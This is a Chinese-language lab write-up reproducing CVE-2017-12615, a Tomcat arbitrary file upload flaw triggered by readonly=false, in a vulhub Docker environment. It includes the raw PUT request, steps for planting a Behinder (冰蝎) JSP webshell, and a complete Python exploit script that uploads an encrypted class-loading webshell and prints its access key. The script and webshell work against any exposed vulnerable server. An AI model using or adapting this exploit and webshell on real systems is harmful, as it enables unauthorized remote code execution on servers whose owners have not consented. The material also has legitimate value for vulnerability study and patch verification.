一、漏洞原理
Tomcat设置了写权限(readonly=false),导致我们可以向服务器写入文件。
CVE-2017-12615:远程代码执行漏洞。只需参数readonly设置为false或者使用参数readonly设置启用WebDAV servlet false。此配置将允许任何未经身份验证的用户上传文件(如WebDAV中所使用的)。
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
查看readonly参数设置:
虽然Tomcat在一定程度上会检查文件后缀(不能直接写jsp),但是我们还是可以通过一些文件系统的特性来绕过这个限制(比如:在Linux下使用)。
二、影响范围
Apache Tomcat 7.0.0-7.0.81(默认配置)
如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系统上的潜在危险的远程执行代码(RCE)漏洞。
三、测试环境
角色 | IP |
---|---|
目标靶机 | 192.200.30.72 |
#进入漏洞环境目录
cd /opt/vulhub-master/tomcat/CVE-2017-12615
#启用漏洞环境
docker-compose up -d
1).docker环境启用,查看容器环境运行正常。
2).直接访问http://192.200.30.72:8080,访问到一个爆错页面,中间件显示Apache Tomcat/8.5.19。
四、漏洞POC
PUT /shell.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
shell...
五、漏洞复现
1).访问http://192.200.30.72:8080,通过Burp Suite改包,将请求方法改成PUT,添加文件名shell.jsp/(注意后面要添加/),请求体中添加jsp的冰蝎马。
2).访问http://192.200.30.72:8080/shell.jsp,返回状态码200,文件写入成功。
3).通过冰蝎直接连接,连接成功。命令执行成功。
下面附上我用Python3编写的POC:
#-*- coding:utf-8 -*-
#PUT方法,Tomcat任意文件上传漏洞(CVE-2017-12615)验证POC。
import requests
host01=input(str("Host:"))
header01={
"Host":host01,
"Accept":"*/*",
"Accept-Language":"en",
"User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
"Connection":"close",
"Content-Type":"application/x-www-form-urlencoded",
"Content-Length":"5"
}
#冰蝎jsp马
data01='''<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";
session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),
"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>'''
file="shell.jsp"
url01="http://{}/{}/".format(host01,file)
url02="http://{}/{}".format(host01,file)
try:
r1 = requests.put(url=url01,headers=header01,data=data01)
r2 = requests.get(url=url02)
if (r1.status_code == 201 or
r1.status_code == 204):
print("[+]shell Write to success")
else:
print("[-]shell Write to failed")
if r2.status_code == 200 :
print("[+]shell Access to success")
print("[+]This host has CVE-2017-12615 vulnerability!")
print("[*]shell path:{}".format(url02))
print("[*]冰蝎连接秘钥:rebeyond")
else:
print("[-]shell Access to failed")
except Exception as e:
print('Error:{}'.format(e))